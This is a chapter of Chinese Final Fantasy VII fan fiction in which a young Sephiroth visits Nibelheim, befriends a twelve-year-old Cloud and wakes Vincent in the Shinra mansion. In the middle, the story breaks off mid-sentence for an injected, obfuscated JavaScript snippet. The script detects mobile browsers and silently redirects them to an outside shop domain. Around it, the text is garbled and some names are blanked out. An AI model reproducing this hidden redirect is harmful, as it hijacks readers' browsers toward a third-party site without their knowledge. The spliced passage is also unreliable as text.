3. 尼布尔海姆
    ***

    萨菲罗斯仰望星空。

    天上群星闪烁,怎么数也数不尽。

    他呆呆地看着,来自尼布尔海姆的风带走了他的思绪。

    8岁的生日是隔了几个星期庆祝的。玛琳提议把他成为他们一家人的日子定做他的生日。萨菲罗斯没有反对。没有来宾。蒂法做了一顿大餐,说要找出他喜欢吃什么。

    9岁生日时,□□送了一本天文学科普书籍。小子,有了书就别想飞到宇宙去了。□□一边递给他用格子花纹纸包装的书,一边说。萨菲罗斯觉得人怎么可能直接去宇宙呢,但□□似乎没有在开玩笑。

    10岁生日时,克劳德带他体验了一把斯特莱夫快递公司唯一的快递员的日常生活。克劳德总是提醒他抱紧免得掉下去。萨菲罗斯承认他有点兴奋过度。以及芬里尔狼真帅。

    12岁的生日格外盛大,尤菲来边缘城办事,于是说借此机会大家一起聚一聚。萨菲罗斯一晚上都在听雷诺吹嘘他的光辉岁月。鲁德偶尔在边上拆搭档的台。

    还有11岁的生日——

    他记得那一天的星空也如今晚那般盛大。

    他坐在文森特旁边,篝火映射在男人的眼瞳上,使本就猩红妖异的瞳色如燃烧一般。

    很快就要到他13岁生日了。

    会发生什么好事吗?

    萨菲罗斯不知道。不远处停歇的卡车如野兽一般打着盹,晕晕沉沉昏睡着。

    明天就要到尼布尔海姆了。

    没关系,他可以自己给自己做一个蛋糕。

    ***

    萨菲罗斯深一脚浅一脚地走在林间的路上。

    他刻意避开了大路。说实话一个孩子来尼布尔海姆这种偏远的地方,怎么样都很可疑。

    神罗公馆在哪里呢?他得想个办法探听一下。

    然而他还没走几步,就觉得后面似乎多了一道视线。

    不太高明的追踪,萨菲罗斯想。从声音判断,是个未成年人。

    萨菲罗斯不动声色地又往前了走了会。那个人并没有离开,不远不近地跟着。

    “我说——”他忽然停下了脚步,“你该出来了吧?”

    静寂无声。萨菲罗斯抽出刀。

    “我知道你在哪里,你想让我直接来找你吗?”

    一阵枯枝被踩碎的沙沙声。一个有着金色的、如陆行鸟般蓬松头发的男孩从树后面走出来,紧张地举着手。他看起来和萨菲罗斯差不多大。

    哦,克劳德。十二岁的克劳德和二十几岁的克劳德差别不大呢。

    萨菲罗斯不由自主冒出了一个念头。

    “我没有恶意。你是外来的吧?来这儿做什么?”

    “找人。”萨菲罗斯叹了一口气,把刀收回刀鞘。

    “找人从荒郊野岭开始找?”男孩抱起胳膊,不赞同地看着他。

    萨菲罗斯眯起眼睛。

    “那你来这里干什么?”

    “散步,”男孩的目光游移了一下,学着萨菲罗斯的样子干巴巴地说。

    “散步散到去泥潭里滚了一圈?”

    男孩的衣服上沾着不少污渍,现在刚过正午不久,想必是遭到同龄人欺负跑出来了吧。

    他们互相对视一眼,不知是先开的头,哈哈大笑起来。

    “我叫克劳德·斯特莱夫,”克劳德抹了一下眼角的泪水,伸出手,“你这谎可真够拙劣的。”

    “塞缪尔·瓦伦丁,叫我塞斯就好,”萨菲罗斯握了一下,不甘示弱地反驳道,“明明是你更靠不住脚。我真是来找人的。”

    “为什么要偷偷摸摸的?找人这种事,去村子里问一圈会更快吧,尼布尔海姆是个小地方。”克劳德是抿着嘴说完最后一句话的。

    萨菲罗斯顿了顿,假装面带犹豫地说: “因为我找的人不太一般。我还是不和你说了吧,牵扯进去也不好。”

    “好了,塞斯,”克劳德耸耸肩,“我们都是小孩子,事情能严重到哪里去了?”

    他环顾四周,迟疑地说道,“等等,只有你一个人?你一个人来的?”

    萨菲罗斯点点头。现在的克劳德面部表情真丰富。

    “哇哦,塞斯,我都要对你刮目相看了。”克劳德眼睛都亮了起来,“那你现在更需要一个当地导游了,是吧?”

    “一般情况下我会劝你不要随便跟陌生人走,”不自觉地,萨菲罗斯用上了成年克劳德告诫时的语气,“但我的确需要你的帮助。”

    “你知道神罗公馆在哪里吗?”

    在前往神罗公馆的路上,他们聊了起来。顺带一提,克劳德的确选了一条偏僻的小路。萨菲罗斯还不想被人们发现。

    “你是说,你要找你叔叔?”

    “是啊,我母亲去的早,父亲前不久也走了,我只剩叔叔可以投奔了。”

    “节哀顺变。但我印象里,从我小时候起,神罗公馆就荒废了,你叔叔怎么会在那里呢?”

    “我不知道。叔叔以前在神罗工作,忽然失去了音讯。听说他最后是在神罗公馆工作的,所以我想试试。”

    克劳德猛地停住脚步。萨菲罗斯也跟着停了下来。

    “你打算进神罗公馆?”

    “没错。”

    “我听说,那里面都是怪物。”

    “没问题的。”

    “这么多年,你叔叔说不定已经不在那里,工作迁移到别的地方去了呢?”

    “总归要试试。”

    “塞斯,”克劳德很认真地、一句一顿地说道,“我知道我接下来说的话你可能不乐意听,但你叔叔说不定已经去世了,如果只有你一个人进去的话,我想你也会——”

    “总之,我觉得你应该去找点大人的帮助。”

    萨菲罗斯看了看克劳德,这个男孩平时似乎是害羞与内敛的,但此时他并没有避开萨菲罗斯审视的眼神。

    萨菲罗斯语气轻柔地回道。

    “我知道你说的是对的。可是啊,这牵扯到神罗,”萨菲罗斯嘲弄地说道,“他们看到那个前面门上印着神罗大锁,哪怕锁没有合上,他们都不敢打开那道门。我说的对吗?”

    “我不知道。”克劳德有些犹豫,“不过哪怕我停止带路你也会找过去的吧?”

    “原谅我。”萨菲罗斯耸耸肩,“我花了好长时间来这里,不打算两手空空的回去。”

    “这不是两手空空的问题,”克劳德压低声音,恼火地说,“我带你过去。”

    他看了眼天空。太阳还高高地挂在天上。

    “还有几个小时日落,我只等你一个小时,如果你还没出来,我就去找大人,”克劳德皱着眉头,“你不想被发现吧?”

    被摆了一道呢。克劳德就是克劳德。不过一个小时时间还算充沛。

    萨菲罗斯乖巧地点点头,发现克劳德伸出手来,他的大脑一时一片空白,头脑一热地把手搭上去。这是之前玛琳很喜欢的一个游戏。

    克劳德迷茫地眨眨眼睛。“我是想说给我一个信物什么的,免得他们不信。”

    “哦。”萨菲罗斯尴尬地揉着鼻子,摘下了自己戴的帽子。

    太阳帽,超宽帽檐,挡光挡脸挡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606603|143376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头发。

    克劳德盯着他。“你长的和萨菲罗斯真像。”

    那肯定的。萨菲罗斯撇了撇嘴。

    “巧合。他们都这么说。”

    “好吧。”

    然后接下来就变成了萨菲罗斯粉丝交流会。

    嗯,很好。不过克劳德以前有这么喜欢萨菲罗斯吗?

    再想想后面的事情……

    萨菲罗斯觉得有点胃疼。

    造孽哦,未来的我。

    ***

    萨菲罗斯目送着克劳德走到附近的树荫下,接着从围栏的空隙里钻进庭院。

    神罗公馆显然已经荒废许久,在温暖的阳光下如同一只沉眠的怪物,将寒意向四处蔓延。萨菲罗斯最后检查了一遍装备。现在勇士要把巨龙唤醒了。

    灰尘在金色的光里跳舞,腐朽的地板踩上去嘎吱作响;猩红的帷幔垂落,掩盖了落灰的画像。

    萨菲罗斯往四处看了看,人们说秘密埋藏在地下,他毫不迟疑地往地下室走去。

    然而总是有些家伙喜欢把简单的事情复杂化。

    解密的过程不是很难,但是萨菲罗斯看着提示上宝条的字迹,觉得星球给予人们行动力绝不是让他们给别人使绊子的。

    接下来的事情便顺理正常了。

    他唤醒了文森特,一五一十地讲述了自己的经历。

    文森特沉默地听着,最后他长叹了一口气:“所以,露克蕾西娅还活着?”

    萨菲罗斯并不意外听到这个回复。他干涩地说:“如果您想见她,我可以带路。不过她不想见到我。”

    文森特皱起眉,藏在金色盔甲下的手一点一点地敲着棺材的边缘:“为什么这么说?发生什么事情了?”

    “也不算什么。我站在她的前面,她却不愿意和我说话,只是一个尽地说对不起,”萨菲罗斯无意识地攥紧衣角,他的声音逐渐激昂起来,“我真的怀疑,她不知道她在道歉些什么,她从来没有想过把我一个人留给宝条会怎么样,难道她觉得宝条会尽一个父亲的责任?”

    文森特喃喃道:“她在实验的一半便后悔了……”

    “我知道,但是——”萨菲罗斯比划了一个手势,“她或许只是对未来的我造成的后果难以承受而已。抱歉,我这么说有点刻薄,她毕竟是我的母亲。”

    文森特只是摇摇头。

    “不,我不能否认她留下你一走了之的事实。这些事情不是一句话可以概括的。但你可以选择不原谅她,你是她的孩子,是她的选择的直接承受者。”

    文森特笨拙地摸摸萨的脑袋。“我暂时不会去见她,她已经等了这么久,再等一会也没关系吧。”

    萨菲罗斯觉得有点想哭。

    那一天,他从山洞里跑出来,对着峡谷里的风泪流满面。连他自己都不明白自己为什么这么伤心的时候,文森特追了出来,站在他的旁边,把他藏在了自己的披风下。他说,你可以失望,可以和她不和解。你还年幼,我们还有很多时间解决这件事。

    果然,文森特就是文森特。

    “接下来你打算怎么办?”文森特蜷缩在棺材里,把自己缩成小小一团,看起来有点滑稽。

    “不知道。”萨菲罗斯诚实地说,“我来尼布尔海姆,一是因为我知道事情的转折点就在尼布尔海姆,二这是我的出生地,我想来看看最初的尼布尔海姆是什么样的。三嘛,是因为你在这里。”

    “可自从我来到这个世界后,我发现似乎我以前了解的内容还是太少了。”

    “比如说,神罗有三个1st 特种兵。”